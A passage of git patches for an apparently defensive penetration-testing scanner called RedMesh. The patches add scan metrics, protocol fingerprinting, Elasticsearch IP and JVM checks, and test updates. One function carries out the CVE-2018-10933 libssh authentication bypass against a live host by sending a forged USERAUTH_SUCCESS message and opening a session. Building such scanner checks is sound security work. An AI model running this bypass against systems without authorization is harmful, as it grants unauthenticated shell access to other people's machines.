45.0, "fingerprint": 8.0, "service_probes": 20.0}, + "response_times": {"min": 0.02, "max": 0.8, "mean": 0.08, "median": 0.06, "stddev": 0.05, "p95": 0.3, "p99": 0.7, "count": 400}, "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, "total_duration": 75.0, "rate_limiting_detected": True, "blocking_detected": False, @@ -4353,12 +4365,34 @@ def test_merge_worker_metrics(self): self.assertEqual(merged["coverage"]["ports_scanned"], 900) self.assertEqual(merged["coverage"]["ports_skipped"], 100) self.assertEqual(merged["coverage"]["coverage_pct"], 90.0) + self.assertEqual(merged["coverage"]["open_ports_count"], 5) self.assertEqual(merged["finding_distribution"]["HIGH"], 3) self.assertEqual(merged["finding_distribution"]["LOW"], 3) self.assertEqual(merged["finding_distribution"]["MEDIUM"], 1) self.assertEqual(merged["probes_attempted"], 6) self.assertEqual(merged["probes_completed"], 5) self.assertEqual(merged["probes_skipped"], 1) + # Service distribution summed + self.assertEqual(merged["service_distribution"]["http"], 3) + self.assertEqual(merged["service_distribution"]["ssh"], 1) + self.assertEqual(merged["service_distribution"]["mysql"], 1) + # Probe breakdown: union, worst status wins + self.assertEqual(merged["probe_breakdown"]["_service_info_http"], "completed") + self.assertEqual(merged["probe_breakdown"]["_service_info_mysql"], "completed") + self.assertEqual(merged["probe_breakdown"]["_web_test_xss"], "failed") # failed > completed + # Phase durations: max per phase + self.assertEqual(merged["phase_durations"]["port_scan"], 45.0) + self.assertEqual(merged["phase_durations"]["fingerprint"], 10.0) + self.assertEqual(merged["phase_durations"]["service_probes"], 20.0) + # Response times: merged stats + rt = merged["response_times"] + self.assertEqual(rt["min"], 0.01) # global min + self.assertEqual(rt["max"], 0.8) # global max + self.assertEqual(rt["count"], 900) # total count + # Weighted mean: (0.05*500 + 0.08*400) / 900 ≈ 0.0633 + self.assertAlmostEqual(rt["mean"], 0.0633, places=3) + self.assertEqual(rt["p95"], 0.3) # max of per-thread p95 + self.assertEqual(rt["p99"], 0.7) # max of per-thread p99 # Max duration self.assertEqual(merged["total_duration"], 75.0) # OR flags From a56cddd3d1c4bb465af8e304cdad4ca6a4537364 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 01:59:48 +0000 Subject: [PATCH 20/42] fix: scan profile simplification --- .../cybersec/red_mesh/models/shared.py | 6 ++++ .../cybersec/red_mesh/pentester_api_01.py | 15 ++++++++ .../cybersec/red_mesh/redmesh_utils.py | 17 ++++++++-- .../cybersec/red_mesh/test_redmesh.py | 34 +++++++++++++++++-- 4 files changed, 67 insertions(+), 5 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/shared.py b/extensions/business/cybersec/red_mesh/models/shared.py index 377722d8..bc0e6d4e 100644 --- a/extensions/business/cybersec/red_mesh/models/shared.py +++ b/extensions/business/cybersec/red_mesh/models/shared.py @@ -120,6 +120,10 @@ class ScanMetrics: service_distribution: dict = None # { "http": 3, "ssh": 1, "mysql": 1 } finding_distribution: dict = None # { "CRITICAL": 1, "HIGH": 3, "MEDIUM": 7, ... } + # ── Open port details ── + open_port_details: list = None # [ { "port": 22, "protocol": "ssh", "banner_confirmed": True }, ... ] + banner_confirmation: dict = None # { "confirmed": 3, "guessed": 2 } + def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -144,4 +148,6 @@ def from_dict(cls, d: dict) -> ScanMetrics: port_distribution=d.get("port_distribution"), service_distribution=d.get("service_distribution"), finding_distribution=d.get("finding_distribution"), + open_port_details=d.get("open_port_details"), + banner_confirmation=d.get("banner_confirmation"), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 151cad55..c2ad3b78 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -3202,6 +3202,21 @@ def _merge_worker_metrics(metrics_list): # Detection flags (any thread detecting = True) merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) + # Open port details: union, deduplicate by port + all_details = [] + seen_ports = set() + for m in metrics_list: + for d in (m.get("open_port_details") or []): + if d["port"] not in seen_ports: + seen_ports.add(d["port"]) + all_details.append(d) + if all_details: + merged["open_port_details"] = sorted(all_details, key=lambda x: x["port"]) + # Banner confirmation: sum counts + bc_confirmed = sum(m.get("banner_confirmation", {}).get("confirmed", 0) for m in metrics_list) + bc_guessed = sum(m.get("banner_confirmation", {}).get("guessed", 0) for m in metrics_list) + if bc_confirmed + bc_guessed > 0: + merged["banner_confirmation"] = {"confirmed": bc_confirmed, "guessed": bc_guessed} return merged def _publish_live_progress(self): diff --git a/extensions/business/cybersec/red_mesh/redmesh_utils.py b/extensions/business/cybersec/red_mesh/redmesh_utils.py index 947fcaa6..c1f056a4 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_utils.py +++ b/extensions/business/cybersec/red_mesh/redmesh_utils.py @@ -37,7 +37,10 @@ def __init__(self): self._ports_scanned = 0 self._ports_skipped = 0 self._open_ports = [] + self._open_port_details = [] # [{"port": int, "protocol": str, "banner_confirmed": bool}] self._service_counts = {} + self._banner_confirmed = 0 + self._banner_guessed = 0 self._finding_counts = {} # For success rate over time windows self._connection_log = [] # [(timestamp, success_bool)] @@ -65,8 +68,13 @@ def record_port_scan_delay(self, delay: float): def record_probe(self, probe_name: str, result: str): self._probe_results[probe_name] = result - def record_open_port(self, port: int, protocol: str = None): + def record_open_port(self, port: int, protocol: str = None, banner_confirmed: bool = False): self._open_ports.append(port) + self._open_port_details.append({"port": port, "protocol": protocol or "unknown", "banner_confirmed": banner_confirmed}) + if banner_confirmed: + self._banner_confirmed += 1 + else: + self._banner_guessed += 1 if protocol: self._service_counts[protocol] = self._service_counts.get(protocol, 0) + 1 @@ -172,13 +180,14 @@ def build(self) -> ScanMetrics: probes_skipped = sum(1 for v in self._probe_results.values() if v.startswith("skipped")) probes_failed = sum(1 for v in self._probe_results.values() if v == "failed") + banner_total = self._banner_confirmed + self._banner_guessed return ScanMetrics( phase_durations=self._compute_phase_durations(), total_duration=round(time.time() - self._scan_start, 2) if self._scan_start else 0, port_scan_delays=self._compute_stats(self._port_scan_delays), connection_outcomes=outcomes if total_connections > 0 else None, response_times=self._compute_stats(self._response_times), - slow_ports=None, # TODO: implement slow port detection + slow_ports=None, success_rate_over_time=self._compute_success_windows(), rate_limiting_detected=self._detect_rate_limiting(), blocking_detected=self._detect_blocking(), @@ -191,6 +200,8 @@ def build(self) -> ScanMetrics: port_distribution=self._compute_port_distribution(), service_distribution=dict(self._service_counts) if self._service_counts else None, finding_distribution=dict(self._finding_counts) if self._finding_counts else None, + open_port_details=list(self._open_port_details) if self._open_port_details else None, + banner_confirmation={"confirmed": self._banner_confirmed, "guessed": self._banner_guessed} if banner_total > 0 else None, ) @@ -740,7 +751,7 @@ def _scan_ports_step(self, batch_size=None, batch_nr=1): self.state["port_protocols"][port] = protocol self.state["port_banners"][port] = banner_text self.state["port_banner_confirmed"][port] = banner_confirmed - self.metrics.record_open_port(port, protocol) + self.metrics.record_open_port(port, protocol, banner_confirmed) else: # Port closed/filtered import errno diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 433c78ab..86f89008 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4285,15 +4285,24 @@ def test_metrics_collector_coverage(self): mc.start_scan(100) for i in range(50): mc.record_connection("connected" if i < 5 else "refused", 0.01) - # Simulate finding 5 open ports (via record_open_port) + # Simulate finding 5 open ports with banner confirmation for i in range(5): - mc.record_open_port(8000 + i) + mc.record_open_port(8000 + i, protocol="http" if i < 3 else "ssh", banner_confirmed=(i < 3)) d = mc.build().to_dict() cov = d["coverage"] self.assertEqual(cov["ports_in_range"], 100) self.assertEqual(cov["ports_scanned"], 50) self.assertEqual(cov["coverage_pct"], 50.0) self.assertEqual(cov["open_ports_count"], 5) + # Open port details + self.assertEqual(len(d["open_port_details"]), 5) + self.assertEqual(d["open_port_details"][0]["port"], 8000) + self.assertEqual(d["open_port_details"][0]["protocol"], "http") + self.assertTrue(d["open_port_details"][0]["banner_confirmed"]) + self.assertFalse(d["open_port_details"][3]["banner_confirmed"]) + # Banner confirmation + self.assertEqual(d["banner_confirmation"]["confirmed"], 3) + self.assertEqual(d["banner_confirmation"]["guessed"], 2) def test_scan_metrics_model_roundtrip(self): """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" @@ -4343,6 +4352,12 @@ def test_merge_worker_metrics(self): "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, "total_duration": 60.0, "rate_limiting_detected": False, "blocking_detected": False, + "open_port_details": [ + {"port": 22, "protocol": "ssh", "banner_confirmed": True}, + {"port": 80, "protocol": "http", "banner_confirmed": True}, + {"port": 443, "protocol": "http", "banner_confirmed": False}, + ], + "banner_confirmation": {"confirmed": 2, "guessed": 1}, } m2 = { "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, @@ -4355,6 +4370,11 @@ def test_merge_worker_metrics(self): "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, "total_duration": 75.0, "rate_limiting_detected": True, "blocking_detected": False, + "open_port_details": [ + {"port": 80, "protocol": "http", "banner_confirmed": True}, # duplicate port 80 + {"port": 3306, "protocol": "mysql", "banner_confirmed": True}, + ], + "banner_confirmation": {"confirmed": 2, "guessed": 0}, } merged = PentesterApi01Plugin._merge_worker_metrics([m1, m2]) # Sums @@ -4398,6 +4418,16 @@ def test_merge_worker_metrics(self): # OR flags self.assertTrue(merged["rate_limiting_detected"]) self.assertFalse(merged["blocking_detected"]) + # Open port details: deduplicated by port, sorted + opd = merged["open_port_details"] + self.assertEqual(len(opd), 4) # 22, 80, 443, 3306 (80 deduplicated) + self.assertEqual(opd[0]["port"], 22) + self.assertEqual(opd[1]["port"], 80) + self.assertEqual(opd[2]["port"], 443) + self.assertEqual(opd[3]["port"], 3306) + # Banner confirmation: summed + self.assertEqual(merged["banner_confirmation"]["confirmed"], 4) + self.assertEqual(merged["banner_confirmation"]["guessed"], 1) def test_close_job_merges_thread_metrics(self): From 282c0c267df6baacac1a916590060e94a4032013 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 13:08:05 +0000 Subject: [PATCH 21/42] fix: redmesh test --- .../cybersec/red_mesh/test_redmesh.py | 30 +++++++++++-------- 1 file changed, 18 insertions(+), 12 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 86f89008..45425156 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -118,7 +118,7 @@ def fake_get(url, timeout=2, verify=False): side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) - self.assertIn("VULNERABILITY: Accessible resource", result) + self._assert_has_finding(result, "Accessible resource") def test_cryptographic_failures_cookie_flags(self): owner, worker = self._build_worker() @@ -130,9 +130,9 @@ def test_cryptographic_failures_cookie_flags(self): return_value=resp, ): result = worker._web_test_flags("example.com", 443) - self.assertIn("VULNERABILITY: Cookie missing Secure flag", result) - self.assertIn("VULNERABILITY: Cookie missing HttpOnly flag", result) - self.assertIn("VULNERABILITY: Cookie missing SameSite flag", result) + self._assert_has_finding(result, "Cookie missing Secure flag") + self._assert_has_finding(result, "Cookie missing HttpOnly flag") + self._assert_has_finding(result, "Cookie missing SameSite flag") def test_injection_sql_detected(self): owner, worker = self._build_worker() @@ -168,7 +168,7 @@ def test_security_misconfiguration_missing_headers(self): return_value=resp, ): result = worker._web_test_security_headers("example.com", 80) - self.assertIn("VULNERABILITY: Missing security header", result) + self._assert_has_finding(result, "Missing security header") def test_vulnerable_component_banner_exposed(self): owner, worker = self._build_worker(ports=[80]) @@ -274,7 +274,7 @@ def test_software_data_integrity_secret_leak(self): return_value=resp, ): result = worker._web_test_homepage("example.com", 80) - self.assertIn("VULNERABILITY: sensitive", result) + self._assert_has_finding(result, "private key") def test_security_logging_tracks_flow(self): owner, worker = self._build_worker() @@ -371,6 +371,9 @@ def __enter__(self): def __exit__(self, exc_type, exc, tb): return False + def close(self): + pass + def version(self): return "TLSv1.3" @@ -446,6 +449,9 @@ def __enter__(self): def __exit__(self, exc_type, exc, tb): return False + def close(self): + pass + def version(self): return "TLSv1.2" @@ -911,7 +917,7 @@ def test_web_graphql_introspection(self): return_value=resp, ): result = worker._web_test_graphql_introspection("example.com", 80) - self.assertIn("VULNERABILITY: GraphQL introspection", result) + self._assert_has_finding(result, "GraphQL introspection") def test_web_metadata_endpoint(self): owner, worker = self._build_worker() @@ -926,7 +932,7 @@ def fake_get(url, timeout=3, verify=False, headers=None): side_effect=fake_get, ): result = worker._web_test_metadata_endpoints("example.com", 80) - self.assertIn("VULNERABILITY: Cloud metadata endpoint", result) + self._assert_has_finding(result, "Cloud metadata endpoint") def test_web_api_auth_bypass(self): owner, worker = self._build_worker() @@ -937,7 +943,7 @@ def test_web_api_auth_bypass(self): return_value=resp, ): result = worker._web_test_api_auth_bypass("example.com", 80) - self.assertIn("VULNERABILITY: API endpoint", result) + self._assert_has_finding(result, "API auth bypass") def test_cors_misconfiguration_detection(self): owner, worker = self._build_worker() @@ -952,7 +958,7 @@ def test_cors_misconfiguration_detection(self): return_value=resp, ): result = worker._web_test_cors_misconfiguration("example.com", 80) - self.assertIn("VULNERABILITY: CORS misconfiguration", result) + self._assert_has_finding(result, "CORS misconfiguration") def test_open_redirect_detection(self): owner, worker = self._build_worker() @@ -964,7 +970,7 @@ def test_open_redirect_detection(self): return_value=resp, ): result = worker._web_test_open_redirect("example.com", 80) - self.assertIn("VULNERABILITY: Open redirect", result) + self._assert_has_finding(result, "Open redirect") def test_http_methods_detection(self): owner, worker = self._build_worker() @@ -976,7 +982,7 @@ def test_http_methods_detection(self): return_value=resp, ): result = worker._web_test_http_methods("example.com", 80) - self.assertIn("VULNERABILITY: Risky HTTP methods", result) + self._assert_has_finding(result, "Risky HTTP methods") # ===== NEW TESTS — findings.py ===== From c5212439182fb149efe56476b32c2aedc19feba4 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 13:33:16 +0000 Subject: [PATCH 22/42] fix: service tests --- .../cybersec/red_mesh/service_mixin.py | 229 ++++++++++++++++-- .../cybersec/red_mesh/test_redmesh.py | 159 ++++++++++++ 2 files changed, 363 insertions(+), 25 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/service_mixin.py b/extensions/business/cybersec/red_mesh/service_mixin.py index 84ada842..bb859739 100644 --- a/extensions/business/cybersec/red_mesh/service_mixin.py +++ b/extensions/business/cybersec/red_mesh/service_mixin.py @@ -1354,6 +1354,12 @@ def _service_info_ssh(self, target, port): # default port: 22 result["ssh_version"] = ssh_version findings += check_cves(ssh_lib, ssh_version) + # --- 7. libssh auth bypass (CVE-2018-10933) --- + if ssh_lib == "libssh": + bypass = self._ssh_check_libssh_bypass(target, port) + if bypass: + findings.append(bypass) + return probe_result(raw_data=result, findings=findings) # Patterns: (regex, product_name_for_cve_db) @@ -1487,6 +1493,47 @@ def _ssh_check_ciphers(self, target, port): return findings, weak_labels + def _ssh_check_libssh_bypass(self, target, port): + """Test CVE-2018-10933: libssh auth bypass via premature USERAUTH_SUCCESS. + + Affected versions: libssh 0.6.0–0.8.3 (fixed in 0.7.6 / 0.8.4). + The vulnerability allows a client to send SSH2_MSG_USERAUTH_SUCCESS (52) + instead of a proper auth request, and the server accepts it. + + Returns + ------- + Finding or None + """ + try: + transport = paramiko.Transport((target, port)) + transport.connect() + # SSH2_MSG_USERAUTH_SUCCESS = 52 (0x34) + msg = paramiko.Message() + msg.add_byte(b'\x34') + transport._send_message(msg) + try: + chan = transport.open_session(timeout=3) + if chan is not None: + chan.close() + transport.close() + return Finding( + severity=Severity.CRITICAL, + title="libssh auth bypass (CVE-2018-10933)", + description="Server accepted SSH2_MSG_USERAUTH_SUCCESS from client, " + "bypassing authentication entirely. Full shell access possible.", + evidence="Session channel opened after sending USERAUTH_SUCCESS.", + remediation="Upgrade libssh to >= 0.8.4 or >= 0.7.6.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + ) + except Exception: + pass + transport.close() + except Exception as e: + self.P(f"libssh bypass check failed on {target}:{port}: {e}", color='y') + return None + def _service_info_smtp(self, target, port): # default port: 25 """ Assess SMTP service security: banner, EHLO features, STARTTLS, @@ -4203,7 +4250,7 @@ def _es_check_indices(self, base_url, raw): return findings def _es_check_nodes(self, base_url, raw): - """GET /_nodes — extract transport/publish addresses (IP leak).""" + """GET /_nodes — extract transport/publish addresses, classify IPs, check JVM.""" findings = [] try: resp = requests.get(f"{base_url}/_nodes", timeout=3) @@ -4214,7 +4261,6 @@ def _es_check_nodes(self, base_url, raw): for node in nodes.values(): for key in ("transport_address", "publish_address", "host"): val = node.get(key) or "" - # Extract IP from "1.2.3.4:9300" style ip = val.rsplit(":", 1)[0] if ":" in val else val if ip and ip not in ("127.0.0.1", "localhost", "0.0.0.0"): ips.add(ip) @@ -4226,20 +4272,74 @@ def _es_check_nodes(self, base_url, raw): v = net.get(k) if v and v not in ("127.0.0.1", "localhost", "0.0.0.0"): ips.add(v) + if ips: + import ipaddress as _ipaddress raw["node_ips"] = list(ips) + public_ips, private_ips = [], [] for ip_str in ips: - self._emit_metadata("internal_ips", {"ip": ip_str, "source": f"es_nodes:{port}"}) - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"Elasticsearch node IPs disclosed ({len(ips)})", - description=f"Node API exposes internal IPs: {', '.join(sorted(ips)[:5])}", - evidence=f"IPs: {', '.join(sorted(ips)[:10])}", - remediation="Restrict /_nodes endpoint access.", - owasp_id="A01:2021", - cwe_id="CWE-200", - confidence="certain", - )) + try: + is_priv = _ipaddress.ip_address(ip_str).is_private + except (ValueError, TypeError): + is_priv = True # assume private on parse failure + if is_priv: + private_ips.append(ip_str) + else: + public_ips.append(ip_str) + self._emit_metadata("internal_ips", {"ip": ip_str, "source": "es_nodes"}) + + if public_ips: + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"Elasticsearch leaks real public IP: {', '.join(sorted(public_ips)[:3])}", + description="The _nodes endpoint exposes public IP addresses, potentially revealing " + "the real infrastructure behind NAT/VPN/honeypot.", + evidence=f"Public IPs: {', '.join(sorted(public_ips))}", + remediation="Restrict /_nodes endpoint; configure network.publish_host to a safe value.", + owasp_id="A01:2021", + cwe_id="CWE-200", + confidence="certain", + )) + if private_ips: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"Elasticsearch node internal IPs disclosed ({len(private_ips)})", + description=f"Node API exposes internal IPs: {', '.join(sorted(private_ips)[:5])}", + evidence=f"IPs: {', '.join(sorted(private_ips)[:10])}", + remediation="Restrict /_nodes endpoint access.", + owasp_id="A01:2021", + cwe_id="CWE-200", + confidence="certain", + )) + + # --- JVM version extraction --- + for node in nodes.values(): + jvm = node.get("jvm", {}) + if isinstance(jvm, dict): + jvm_version = jvm.get("version") + if jvm_version: + raw["jvm_version"] = jvm_version + try: + if jvm_version.startswith("1."): + # Java 1.x format: 1.7.0_55 → major=7, 1.8.0_345 → major=8 + major = int(jvm_version.split(".")[1]) + else: + # Modern format: 17.0.5 → major=17 + major = int(str(jvm_version).split(".")[0]) + if major <= 8: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"Elasticsearch running on EOL JVM: Java {jvm_version}", + description=f"Java {jvm_version} is end-of-life and no longer receives security patches.", + evidence=f"jvm.version={jvm_version}", + remediation="Upgrade to a supported Java LTS release (17+).", + owasp_id="A06:2021", + cwe_id="CWE-1104", + confidence="certain", + )) + except (ValueError, IndexError): + pass + break # one node is enough except Exception: pass return findings @@ -4435,22 +4535,25 @@ def _service_info_generic(self, target, port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) sock.connect((target, port)) - data = sock.recv(256).decode('utf-8', errors='ignore') - if data: - banner = ''.join(ch if 32 <= ord(ch) < 127 else '.' for ch in data) - readable = banner.strip().replace('.', '') - if not readable: - # Pure binary data with no printable content — nothing useful. - sock.close() - return None - raw["banner"] = banner.strip() - else: - sock.close() - return None # No banner — nothing useful to report + raw_bytes = sock.recv(512) sock.close() + if not raw_bytes: + return None except Exception as e: return probe_error(target, port, "generic", e) + # --- Protocol fingerprinting: detect known services on non-standard ports --- + reclassified = self._generic_fingerprint_protocol(raw_bytes, target, port) + if reclassified is not None: + return reclassified + + # --- Standard banner analysis for truly unknown services --- + data = raw_bytes.decode('utf-8', errors='ignore') + banner = ''.join(ch if 32 <= ord(ch) < 127 else '.' for ch in data) + readable = banner.strip().replace('.', '') + if not readable: + return None + raw["banner"] = banner.strip() banner_text = raw["banner"] # --- 1. Version extraction + CVE check --- @@ -4474,3 +4577,79 @@ def _service_info_generic(self, target, port): break # First match wins return probe_result(raw_data=raw, findings=findings) + + # Protocol signatures for reclassifying services on non-standard ports. + # Each entry: (check_function, protocol_name, probe_method_name) + # Check functions receive raw bytes and return True if matched. + @staticmethod + def _is_redis_banner(data): + """Redis RESP: starts with +, -, :, $, or * (protocol type bytes).""" + return len(data) > 0 and data[0:1] in (b'+', b'-', b'$', b'*', b':') + + @staticmethod + def _is_ftp_banner(data): + """FTP: 220 greeting.""" + return data[:4] in (b'220 ', b'220-') + + @staticmethod + def _is_smtp_banner(data): + """SMTP: 220 greeting with SMTP/ESMTP keyword.""" + text = data[:200].decode('utf-8', errors='ignore').upper() + return text.startswith('220') and ('SMTP' in text or 'ESMTP' in text) + + @staticmethod + def _is_mysql_handshake(data): + """MySQL: 3-byte length + seq + protocol version 0x0a.""" + if len(data) > 4: + payload = data[4:] + return payload[0:1] == b'\x0a' + return False + + @staticmethod + def _is_rsync_banner(data): + """Rsync: @RSYNCD: version.""" + return data.startswith(b'@RSYNCD:') + + @staticmethod + def _is_telnet_banner(data): + """Telnet: IAC (0xFF) followed by WILL/WONT/DO/DONT.""" + return len(data) >= 2 and data[0] == 0xFF and data[1] in (0xFB, 0xFC, 0xFD, 0xFE) + + _PROTOCOL_SIGNATURES = None # lazy init to avoid forward reference issues + + def _generic_fingerprint_protocol(self, raw_bytes, target, port): + """Try to identify the protocol from raw banner bytes. + + If a known protocol is detected, reclassifies the port and runs the + appropriate specialized probe directly. + + Returns + ------- + dict or None + Probe result from the specialized probe, or None if no match. + """ + signatures = [ + (self._is_redis_banner, "redis", "_service_info_redis"), + (self._is_ftp_banner, "ftp", "_service_info_ftp"), + (self._is_smtp_banner, "smtp", "_service_info_smtp"), + (self._is_mysql_handshake, "mysql", "_service_info_mysql"), + (self._is_rsync_banner, "rsync", "_service_info_rsync"), + (self._is_telnet_banner, "telnet", "_service_info_telnet"), + ] + + for check_fn, proto, method_name in signatures: + try: + if check_fn(raw_bytes): + # Reclassify port protocol for future reference + port_protocols = self.state.get("port_protocols", {}) + old_proto = port_protocols.get(port, "unknown") + port_protocols[port] = proto + self.P(f"Protocol reclassified: port {port} {old_proto} → {proto} (banner fingerprint)") + + # Run the specialized probe directly + probe_fn = getattr(self, method_name, None) + if probe_fn: + return probe_fn(target, port) + except Exception: + continue + return None diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 45425156..b270a4a3 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4613,6 +4613,164 @@ def capture_add_json(data, show_logs=False): self.assertTrue(sm["blocking_detected"]) +class TestPhase17aQuickWins(unittest.TestCase): + """Phase 17a: Quick Win probe enhancements.""" + + def _build_worker(self, ports=None): + if ports is None: + ports = [22] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-17a", + initiator="init@example", + local_id_prefix="Q", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ---- 17a-1: libssh auth bypass ---- + + def test_ssh_libssh_detected_in_banner(self): + """_ssh_identify_library detects libssh from banner.""" + _, worker = self._build_worker() + lib, ver = worker._ssh_identify_library("SSH-2.0-libssh-0.8.1") + self.assertEqual(lib, "libssh") + self.assertEqual(ver, "0.8.1") + + def test_ssh_libssh_bypass_returns_none_on_failure(self): + """_ssh_check_libssh_bypass returns None when connection fails.""" + _, worker = self._build_worker() + result = worker._ssh_check_libssh_bypass("192.0.2.1", 99999) + self.assertIsNone(result) + + def test_ssh_libssh_cves_in_db(self): + """CVE-2018-10933 is present in CVE database for libssh.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("libssh", "0.8.1") + self.assertTrue(len(findings) >= 1) + titles = [f.title for f in findings] + self.assertTrue(any("CVE-2018-10933" in t for t in titles)) + + # ---- 17a-2: Protocol fingerprinting ---- + + def test_generic_fingerprint_redis(self): + """Redis RESP banner is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_redis_banner(b"+PONG\r\n")) + self.assertTrue(worker._is_redis_banner(b"-ERR unknown command\r\n")) + self.assertTrue(worker._is_redis_banner(b"$11\r\nHello World\r\n")) + self.assertFalse(worker._is_redis_banner(b"HTTP/1.1 200 OK\r\n")) + + def test_generic_fingerprint_ftp(self): + """FTP 220 banner is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_ftp_banner(b"220 Welcome to FTP\r\n")) + self.assertTrue(worker._is_ftp_banner(b"220-ProFTPD 1.3.5\r\n")) + self.assertFalse(worker._is_ftp_banner(b"SSH-2.0-OpenSSH\r\n")) + + def test_generic_fingerprint_mysql(self): + """MySQL handshake packet is recognized.""" + _, worker = self._build_worker() + # MySQL v10 handshake: 3-byte length + 1-byte seq + 0x0a + version string + handshake = b'\x4a\x00\x00\x00\x0a5.5.23\x00' + b'\x00' * 40 + self.assertTrue(worker._is_mysql_handshake(handshake)) + self.assertFalse(worker._is_mysql_handshake(b"HTTP/1.1 200 OK")) + + def test_generic_fingerprint_smtp(self): + """SMTP banner is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_smtp_banner(b"220 mail.example.com ESMTP Postfix\r\n")) + self.assertFalse(worker._is_smtp_banner(b"220 ProFTPD 1.3\r\n")) + + def test_generic_fingerprint_rsync(self): + """Rsync banner is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_rsync_banner(b"@RSYNCD: 31.0\n")) + self.assertFalse(worker._is_rsync_banner(b"+OK Dovecot ready\r\n")) + + def test_generic_fingerprint_telnet(self): + """Telnet IAC sequence is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_telnet_banner(b"\xFF\xFB\x01\xFF\xFB\x03")) + self.assertFalse(worker._is_telnet_banner(b"HTTP/1.0 200")) + + def test_generic_reclassifies_port_protocol(self): + """When a protocol is fingerprinted, port_protocols is updated.""" + _, worker = self._build_worker(ports=[993]) + worker.state["port_protocols"] = {993: "unknown"} + # Simulate Redis banner on port 993 + redis_banner = b"+PONG\r\n" + # Mock the Redis probe to avoid real connection + mock_result = {"findings": [], "vulnerabilities": []} + with patch.object(worker, '_service_info_redis', return_value=mock_result): + result = worker._generic_fingerprint_protocol(redis_banner, "10.0.0.1", 993) + self.assertEqual(worker.state["port_protocols"][993], "redis") + self.assertIsNotNone(result) + + # ---- 17a-5: ES IP classification + JVM ---- + + def test_es_nodes_public_ip_critical(self): + """Public IP from _nodes endpoint is flagged CRITICAL.""" + _, worker = self._build_worker(ports=[9200]) + worker.state["scan_metadata"] = {"internal_ips": []} + raw = {} + mock_resp = MagicMock() + mock_resp.ok = True + mock_resp.json.return_value = { + "nodes": { + "n1": { + "host": "34.51.200.39", + "jvm": {"version": "1.7.0_55"}, + } + } + } + with patch('requests.get', return_value=mock_resp): + findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) + titles = [f.title for f in findings] + severities = [f.severity for f in findings] + # Public IP should be CRITICAL + self.assertTrue(any("public ip" in t.lower() for t in titles), f"Expected public IP finding, got: {titles}") + self.assertIn("CRITICAL", severities) + # JVM EOL + self.assertTrue(any("eol jvm" in t.lower() for t in titles), f"Expected EOL JVM finding, got: {titles}") + self.assertEqual(raw.get("jvm_version"), "1.7.0_55") + + def test_es_nodes_private_ip_medium(self): + """Private IP from _nodes endpoint is flagged MEDIUM (not CRITICAL).""" + _, worker = self._build_worker(ports=[9200]) + worker.state["scan_metadata"] = {"internal_ips": []} + raw = {} + mock_resp = MagicMock() + mock_resp.ok = True + mock_resp.json.return_value = { + "nodes": {"n1": {"host": "192.168.1.100"}} + } + with patch('requests.get', return_value=mock_resp): + findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) + severities = [f.severity for f in findings] + self.assertIn("MEDIUM", severities) + self.assertNotIn("CRITICAL", severities) + + def test_es_nodes_jvm_modern_no_finding(self): + """Modern JVM (Java 17+) should not produce an EOL finding.""" + _, worker = self._build_worker(ports=[9200]) + worker.state["scan_metadata"] = {"internal_ips": []} + raw = {} + mock_resp = MagicMock() + mock_resp.ok = True + mock_resp.json.return_value = { + "nodes": {"n1": {"host": "10.0.0.5", "jvm": {"version": "17.0.5"}}} + } + with patch('requests.get', return_value=mock_resp): + findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) + titles = [f.title for f in findings] + self.assertFalse(any("EOL JVM" in t for t in titles)) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -4635,4 +4793,5 @@ def addSuccess(self, test): 